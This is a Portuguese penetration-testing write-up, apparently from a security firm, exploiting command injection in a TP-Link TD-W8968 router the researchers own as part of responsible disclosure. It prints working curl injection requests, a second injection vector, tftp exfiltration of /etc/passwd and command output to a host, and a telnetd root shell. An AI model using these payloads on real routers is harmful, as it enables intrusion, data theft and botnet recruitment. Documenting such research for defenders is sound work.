Neste write-up
- Contexto e escopo
- Reconhecimento do alvo
- A vulnerabilidade: OS Command Injection
- Decifrando o protocolo CGI proprietário
- Prova de execução (OOB via ICMP)
- Causa raiz: reverse engineering do firmware
- A jornada até o root shell
- Impacto real: o que um atacante faz com isso
- Disclosure e timeline
- Lições para pentesters
Este write-up documenta uma pesquisa real conduzida pela equipe da TreeSec em equipamento próprio, com fins educativos e de responsible disclosure. A vulnerabilidade explorada (OS Command Injection no TP-Link TD-W8968) é uma CVE conhecida (CVE-2017-8217), originalmente reportada em 2017. O valor deste artigo não está na descoberta do bug em si, mas na cadeia completa de exploração — algo que raramente é documentado com este nível de detalhe.
Aviso legal: todo o teste foi conduzido exclusivamente em equipamento de propriedade do pesquisador, em rede isolada, conforme as boas práticas de pesquisa de segurança (ISO 29147). Não tente reproduzir em equipamentos de terceiros sem autorização explícita por escrito.
1. Contexto e escopo
Tudo começou com uma pergunta simples: "o que seria possível fazer com os roteadores que temos em casa?" Como pentesters, passamos o dia inteiro analisando a infraestrutura dos nossos clientes — mas raramente olhamos para os dispositivos embarcados que ficam ligados 24/7 na nossa própria rede.
O alvo escolhido foi um TP-Link TD-W8968 V4, roteador ADSL+Wi-Fi com firmware de 2017 que funciona como access point em uma das nossas redes domésticas. Equipamento próprio, rede controlada, cenário autorizado.
TP-Link TD-W8968 V4
Firmware: 0.9.1 3.16 v004c.0 Build 170309 Rel.57384n
SoC: Broadcom BCM6318 (MIPS) · OS: Linux 2.6.36 · BusyBox: v1.19.2
Credenciais: admin:admin (padrão de fábrica)
A infraestrutura de teste incluiu um Raspberry Pi (codinome elliot02) posicionado na mesma rede Wi-Fi do roteador, funcionando como ponto de pivô para enviar requests HTTP e capturar tráfego de rede.
2. Reconhecimento do alvo
O primeiro passo foi mapear o que o roteador expõe na rede. Um scan rápido com nmap revelou:
$ nmap -Pn -T4 -sV -F --open 192.168.1.2
PORT STATE SERVICE VERSION
22/tcp open ssh Dropbear sshd 2012.55
80/tcp open http TP-Link TD-W8968 httpd
Duas portas abertas: HTTP na 80 (painel de administração) e SSH na 22 (Dropbear, versão de 2012). A interface web aceita as credenciais padrão admin:admin e expõe todas as funcionalidades de configuração, incluindo ferramentas de diagnóstico (ping, traceroute).
Ferramentas de diagnóstico em roteadores são alvos clássicos para command injection. Elas precisam executar comandos do sistema operacional (ping, traceroute) com input fornecido pelo usuário (endereço IP/hostname). Se o input não for sanitizado, metacaracteres de shell permitem injetar comandos arbitrários.
3. A vulnerabilidade: OS Command Injection (CWE-78)
A página de diagnóstico /main/pingNTraceRoute.htm permite que o administrador faça ping para um host qualquer. Nos bastidores, o roteador pega o valor informado no campo "host" e o insere diretamente num comando ping que é executado via system() — sem nenhuma sanitização.
Isso significa que, em vez de digitar um IP como 8.8.8.8, podemos enviar:
127.0.0.1;$(ping -c1 -s77 192.168.1.20)
O ; encerra o comando original de ping, e o $() executa o nosso comando em um subshell. O roteador processa:
# O que o roteador executa internamente:
ping -c 4 -s 64 127.0.0.1;$(ping -c1 -s77 192.168.1.20)
# ↑ comando legítimo ↑ nosso comando injetado
O resultado? O roteador obedientemente executa os dois comandos como root.
OS Command Injection CVSS 7.2 · Alto
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Pré-requisito: autenticação no painel web (credenciais padrão admin:admin)
CVE existente: CVE-2017-8217 (Pierre Kim, 2017) — mesma família de firmware
4. Decifrando o protocolo CGI proprietário
Aqui é onde a coisa fica interessante. O roteador não usa forms HTML tradicionais. Em vez disso, emprega um protocolo proprietário chamado RDP (Router Data Protocol) para comunicar com o backend via POST /cgi?<opcodes>.
Sem entender esse protocolo, não conseguimos construir requests. Analisando o JavaScript do painel (/js/lib.js), decodificamos a estrutura:
Endpoint e opcodes
POST /cgi?<opcode1>&<opcode2> HTTP/1.1
# Opcodes:
# 1 = ACT_GET (ler atributos)
# 2 = ACT_SET (definir atributos)
# 7 = ACT_OP (executar operação)
# Exemplo: /cgi?2&7 = SET + OP (define host e dispara o ping)
Corpo do request (data-model RDP)
[NOME_OBJETO#stack#pStack]idx,nparams\r\n
atributo=valor\r\n
Autenticação
Detalhe importante: o TD-W8968 não usa o header Authorization. A autenticação vai no Cookie:
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
# base64("admin:admin")
Isso significa que curl -u admin:admin não funciona — retorna 403. É preciso montar o Cookie manualmente. Um detalhe pequeno que custou tempo de debug.
O request completo de injeção
$ curl -s --max-time 5 \
-H 'Cookie: Authorization=Basic YWRtaW46YWRtaW4=' \
-H 'Referer: http://192.168.1.2/main/pingNTraceRoute.htm' \
-H 'Content-Type: text/plain' \
--data-binary $'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\n\
host=127.0.0.1;$(COMANDO_AQUI)\r\n\
[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]1,0\r\n' \
'http://192.168.1.2/cgi?2&7'
Um detalhe crucial que descobrimos na prática: o motor de diagnóstico é single-shot. Após uma execução, ele trava no estado "Complete" e ignora novas operações. Antes de cada injeção, é obrigatório resetar o estado:
# Reset obrigatório antes de cada injeção
$ curl -s -o /dev/null \
-H 'Cookie: Authorization=Basic YWRtaW46YWRtaW4=' \
-H 'Content-Type: text/plain' \
--data-binary $'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n\
host=127.0.0.1\r\ndiagnosticsState=None\r\n' \
'http://192.168.1.2/cgi?2'
# Esperar 2 segundos e então enviar a injeção
5. Prova de execução: out-of-band via ICMP
Temos um problema: o roteador não retorna o output dos comandos injetados. A resposta HTTP é sempre [error]0, independente do comando ter executado ou não. É o que chamamos de blind command injection.
Para provar que a injeção funciona, usamos uma técnica out-of-band (OOB): fazemos o roteador nos enviar um ping com um tamanho de payload marcador. Se recebemos um pacote ICMP com o tamanho esperado, provamos que o comando executou.
# Terminal 1: capturar ICMP vindo do roteador
$ sudo tcpdump -i wlan0 'icmp and src 192.168.1.2'
# Terminal 2: injetar ping com tamanho marcador 77
# Se executar, tcpdump mostra length = 77 + 8 = 85
$ curl ... --data-binary '...host=127.0.0.1;$(ping -c1 -s77 192.168.1.20)...'
Resultado no tcpdump:
02:15:48.045 IP 192.168.1.2 > 192.168.1.20: ICMP echo request, id 7173, seq 0, length 85
Length 85 = 77 + 8. Injeção confirmada. Testamos os 5 operadores de shell (; | && ` $()) — todos funcionam.
Provando que somos root (sem o comando id)
O BusyBox deste roteador é extremamente mínimo — não tem id, whoami, grep, nem head. Para provar que estamos executando como root, usamos um truque: ler o campo Uid do /proc/self/status e codificar o valor no tamanho do ping:
# /proc/self/status contém "Uid: X X X X"
# Se X = 0, estamos como root
# Codificamos: ping -s (uid + 50) → length = uid + 58
# Se root (uid=0): length = 58
Resultado: length 58. Uid = 0. Root confirmado.
6. Causa raiz: reverse engineering do firmware
Para entender por que a injeção funciona, fizemos análise white-box do firmware oficial, disponível no site da TP-Link.
Extraindo o filesystem
O firmware usa SquashFS com um magic number não-padrão (shsq em vez do convencional hsqs). O unsquashfs padrão falha. A solução foi compilar o sasquatch, um fork que suporta variantes não-padrão:
$ binwalk firmware.bin
0x0 TP-Link firmware header
0x200 Broadcom 96345 header (board 6318REF)
0x300 SquashFS v4.0, gzip, 6.9 MB (magic: 'shsq')
0x69E30C LZMA (kernel)
$ git clone https://github.com/onekey-sec/sasquatch
$ cd sasquatch/squashfs-tools && make
$ ./sasquatch -d rootfs firmware_squashfs.bin
880 inodes, 80 dirs, 100 symlinks → OK
Rastreando o fluxo de execução (radare2)
Com o rootfs extraído, usamos radare2 para fazer engenharia reversa dos binários MIPS. A cadeia de execução:
O valor de host é inserido como o %s final no template, sem aspas e sem filtro de metacaracteres. A string montada é passada diretamente para system(), que invoca /bin/sh -c.
Achado bônus: 2º vetor de injeção (NTP/sysDate)
Durante a análise estática, encontramos um segundo vetor de injeção que não faz parte da CVE-2017-8217 original:
// httpd: cgiConfigNtp (disassembly MIPS simplificado)
sscanf(sysDate, "%d.%d.%d-%d:%d:%d", &a,&b,&c,&d,&e,&f);
// sscanf exige 6 campos... mas só valida o PREFIXO!
sprintf(buf, "date -s %s", sysDate); // sysDate CRU, não os ints
system(buf); // → "date -s 2026.6.16-12:0:0; COMANDO"
A validação com sscanf confere que a string começa com 6 inteiros, mas o restante da string passa direto para o system(). Payload: sysDate=2026.6.16-12:0:0; COMANDO.
7. A jornada até o root shell
Até aqui, tínhamos execução cega de comandos como root. Mas para um pentest real, precisamos de output dos comandos — idealmente, um shell interativo. Esta foi a parte mais desafiadora e educativa de toda a pesquisa.
Tentativa 1: Bind shell — falhou
Primeira ideia óbvia: abrir um netcat listener no roteador.
# Tentativa: nc -l -p 9999 -e /bin/sh
→ "nc: applet not found"
# O BusyBox deste router NÃO TEM netcat.
Tentativa 2: Reverse shell — falhou
Sem netcat no roteador, não havia como criar conexão reversa TCP.
Tentativa 3: Takeover do telnet :23 — falhou
# O binário /bin/telnetd é CMS-integrado (14 dependências de libs)
# Não inicia standalone fora do contexto do CMS
$ /bin/telnetd -l /bin/sh -p 23
→ (não inicia, porta continua fechada)
Tentativa 4: SSH (Dropbear :22) — falhou
$ sshpass -p admin ssh admin@192.168.1.2
"exec request failed on channel 0"
"PTY allocation request failed on channel 0"
# Autenticação funciona! Mas TP-Link compilou sem PTY/exec.
Nesse ponto, estávamos bloqueados. Quatro abordagens clássicas, todas falharam. Precisávamos pensar diferente.
1 Descoberta: TFTP via UDP atravessa o firewall
O BusyBox do roteador tem o applet tftp (cliente TFTP). E TFTP usa UDP, não TCP. Enquanto as tentativas anteriores falharam por restrições de TCP, o UDP passa livremente.
# No pivô: iniciar um servidor TFTP em Python
$ sudo python3 tftp_server.py --port 6969
# Injetar no roteador: enviar /etc/passwd via TFTP
host=127.0.0.1;$(tftp -p -l /etc/passwd 192.168.1.20 6969)
Resultado:
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/dropbear:/bin/sh
nobody:*:0:0:nobody:/:/bin/sh
Exfiltração funcionou. Conseguimos ler qualquer arquivo do roteador. Mas para obter output de comandos, precisamos redirecionar para um arquivo temporário e depois enviar via TFTP. E para isso, precisamos de um diretório gravável.
2 Descoberta: /tmp é read-only, /var é writable
Exfiltramos /proc/mounts:
/dev/root on / type squashfs (ro,relatime) ← TUDO é read-only
ramfs on /var type ramfs (rw,relatime) ← /var é RAM, gravável!
O diretório /tmp faz parte do squashfs e é read-only. Nossas tentativas anteriores de cmd > /tmp/output falhavam silenciosamente. Usando /var:
# Executar qualquer comando e receber o output:
host=127.0.0.1;$(ps > /var/o 2>&1; tftp -p -l /var/o 192.168.1.20 6969; rm /var/o)
Agora tínhamos um pseudo-shell: enviar comando via CMDi, receber output via TFTP. Latência de ~5 segundos por comando, mas funcional para executar qualquer coisa.
3 Descoberta: busybox telnetd vs /bin/telnetd
Com o pseudo-shell, listamos os applets disponíveis no BusyBox do roteador ao vivo:
root@TD-W8968:/# busybox --list
arping ash brctl cat chmod cp date df echo free getty halt
ifconfig init insmod ipcrm ipcs kill killall linuxrc login
ls lsmod mkdir mount netstat pidof ping ping6 poweroff ps
reboot rm rmmod route sh sleep taskset telnetd tftp top
umount vconfig
O BusyBox tem telnetd como applet! E aqui está a lição mais importante deste write-up:
BusyBox applet vs. binário standalone
O /bin/telnetd do roteador é um binário CMS pesado (25KB, 14 bibliotecas compartilhadas). Não funciona fora do contexto do CMS. Mas busybox telnetd é um applet autocontido que funciona em qualquer contexto.
Em dispositivos embarcados, sempre tente busybox <applet> quando o binário standalone falhar.
# Injetar o busybox telnetd:
host=127.0.0.1;$(busybox telnetd -l /bin/sh -p 23)
# Verificar:
$ nmap -p 23 192.168.1.2
23/tcp open telnet
# Conectar:
$ nc 192.168.1.2 23
~ # ← root shell!
Root shell interativa obtida.
~ # cat /proc/version
Linux version 2.6.36 (gcc 4.6.3, Buildroot 2012.11.1) #1 Thu Mar 9 15:29:43 CST 2017
~ # cat /etc/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh
dropbear:x:500:500:dropbear:/var/dropbear:/bin/sh
nobody:*:0:0:nobody:/:/bin/sh
~ # ps
PID USER VSZ STAT COMMAND
1 admin 1076 S init
734 admin 2868 S cos
1018 admin 2596 S httpd
1203 admin 1136 S dropbear -p 22
1501 admin 1068 S busybox telnetd -l /bin/sh -p 23
Resumo das barreiras superadas
| Barreira | O que tentamos | Resultado | Solução |
|---|---|---|---|
| Sem stdout | — | Blind CMDi | OOB via ICMP com tamanho marcador |
| Sem netcat | nc -l -e | Applet inexistente | TFTP via UDP para exfiltrar |
| /tmp read-only | cmd > /tmp/o | SquashFS read-only | /var (ramfs, writable) |
| telnetd CMS | /bin/telnetd | 14 deps de libs CMS | busybox telnetd (autocontido) |
| SSH restrito | ssh admin@... | PTY/exec desabilitados | telnetd como alternativa |
Sem id | id | Applet inexistente | /proc/self/status Uid |
| Diag travado | 2ª injeção | Motor single-shot | Reset diagnosticsState=None |
8. Impacto real: o que um atacante faz com root no seu roteador
Muita gente subestima command injection em roteador porque acha que "é só um roteador". Na realidade, o roteador é o dispositivo mais privilegiado de uma rede doméstica ou de pequeno escritório: todo o tráfego de todos os dispositivos passa por ele.
DNS Hijacking (Pharming) Impacto Crítico
O roteador roda o servidor DNS da rede (dnsProxy). Com root, o atacante pode redirecionar qualquer domínio para um IP malicioso. banco.com.br passa a apontar para uma página de phishing idêntica. Todos os dispositivos da casa (celulares, notebooks, smart TV) são afetados automaticamente, sem nenhum alerta visível.
Interceptação de tráfego Impacto Alto
Captura de requisições HTTP, queries DNS (histórico completo de navegação de todos da casa), credenciais de protocolos legados (FTP, POP3, SMTP sem TLS). O atacante sabe o que cada dispositivo acessa, quando, e com que frequência.
Pivô para rede interna Impacto Alto
A partir do roteador, o atacante pode fazer scan e explorar outros dispositivos da rede: câmeras IP, NAS, smart TVs, computadores com portas abertas. A regra de firewall que encontramos (ACCEPT all in=br+) confirma que não há segmentação interna.
Persistência em firmware Impacto Crítico
O roteador não possui secure boot nem validação de assinatura de firmware. Um atacante avançado pode gravar firmware modificado no flash, criando um backdoor que sobrevive a factory reset. A vítima nunca saberia.
Botnet / DDoS Impacto Moderado
Botnets como Mirai e Mozi recrutam roteadores vulneráveis exatamente assim. O TD-W8968 tem arquitetura MIPS, e a CVE-2017-8217 é pública. Qualquer unidade exposta à internet com senha padrão é um alvo automatizável.
O denominador comum: ninguém instala antivírus no roteador. Não há SIEM, não há alertas, não há logs centralizados. Um atacante com root pode operar por meses sem ser detectado.
9. Disclosure e timeline
Seguimos o processo de responsible disclosure conforme ISO 29147:
- 2026-06-16 — Vulnerabilidades identificadas e documentadas
- 2026-06-16 — Relatório enviado à TP-Link PSIRT (security@tp-link.com), criptografado com PGP (chave pública do vendor), no template oficial v1.0 da TP-Link
- 2026-06-23 — Prazo estimado para primeiro contato (SLA de 5 dias úteis)
- ~2026-09-14 — Prazo proposto para disclosure público (D+90)
Durante a pesquisa, verificamos que o vetor principal de ping injection já era coberto pela CVE-2017-8217. O firmware nunca recebeu patch — o produto está em end-of-life. O segundo vetor (NTP/sysDate) não aparece na CVE original e foi reportado separadamente.
10. Lições para pentesters e equipes de segurança
Para pentesters e pesquisadores
- Blind CMDi não é beco sem saída. A técnica de OOB via ICMP com tamanho marcador é simples e eficaz. Se ICMP não funcionar, tente DNS (subdomain com dados codificados).
- TFTP via UDP é subestimado. Muitos firewalls de roteador filtram TCP mas deixam UDP passar. Sempre verifique se
tftpexiste no BusyBox do alvo. - Sempre tente
busybox <applet>. O binário standalone pode depender de bibliotecas proprietárias, mas o applet BusyBox é autocontido. - Confira
/proc/mountsantes de escrever. Em embarcados, o root filesystem costuma ser read-only (SquashFS). O diretório gravável pode ser/var,/tmp, ou outro ponto de montagem ramfs/tmpfs. - Applets do BusyBox variam entre builds. O que existe no rootfs extraído offline pode não existir no dispositivo ao vivo. Sempre verificar com
busybox --listno runtime. - Faça prior art check antes de investir. Pesquise CVEs existentes para o modelo antes de documentar como "achado novo". Economiza tempo e preserva credibilidade.
Para empresas e gestores de TI
- Roteadores são infraestrutura crítica. Não são "só o Wi-Fi". São o ponto por onde passa 100% do tráfego da sua rede.
- Firmware desatualizado = porta aberta. A vulnerabilidade que exploramos existe desde 2017 e nunca foi corrigida. O fabricante abandonou o produto (EOL). Se o seu roteador não recebe updates, considere trocar.
- Credenciais padrão são convite.
admin:adminem 2026. Parece absurdo, mas é a realidade de milhões de dispositivos. Mude a senha do painel de todos os equipamentos de rede. - Inclua dispositivos de rede no escopo do pentest. A maioria dos pentests foca em aplicações web e servidores. Roteadores, switches, APs e IoT frequentemente ficam de fora — e são os elos mais fracos.
- Segmente sua rede. Se o roteador for comprometido, a segmentação (VLANs, redes separadas para IoT) limita o raio de explosão.
Este write-up demonstra o que a equipe da TreeSec faz no dia a dia: ir além do scanner automatizado. Ferramentas encontram o bug — mas transformar um "campo vulnerável" em "acesso root completo com impacto demonstrável" exige análise manual, criatividade e profundidade técnica.
Se você quer saber como está a segurança da infraestrutura da sua empresa — incluindo os dispositivos que ninguém lembra de testar — converse com a gente.
Quer testar a segurança da sua infraestrutura?
Nossos pentests de infraestrutura cobrem roteadores, switches, APs, firewalls e IoT — não só servidores e aplicações web.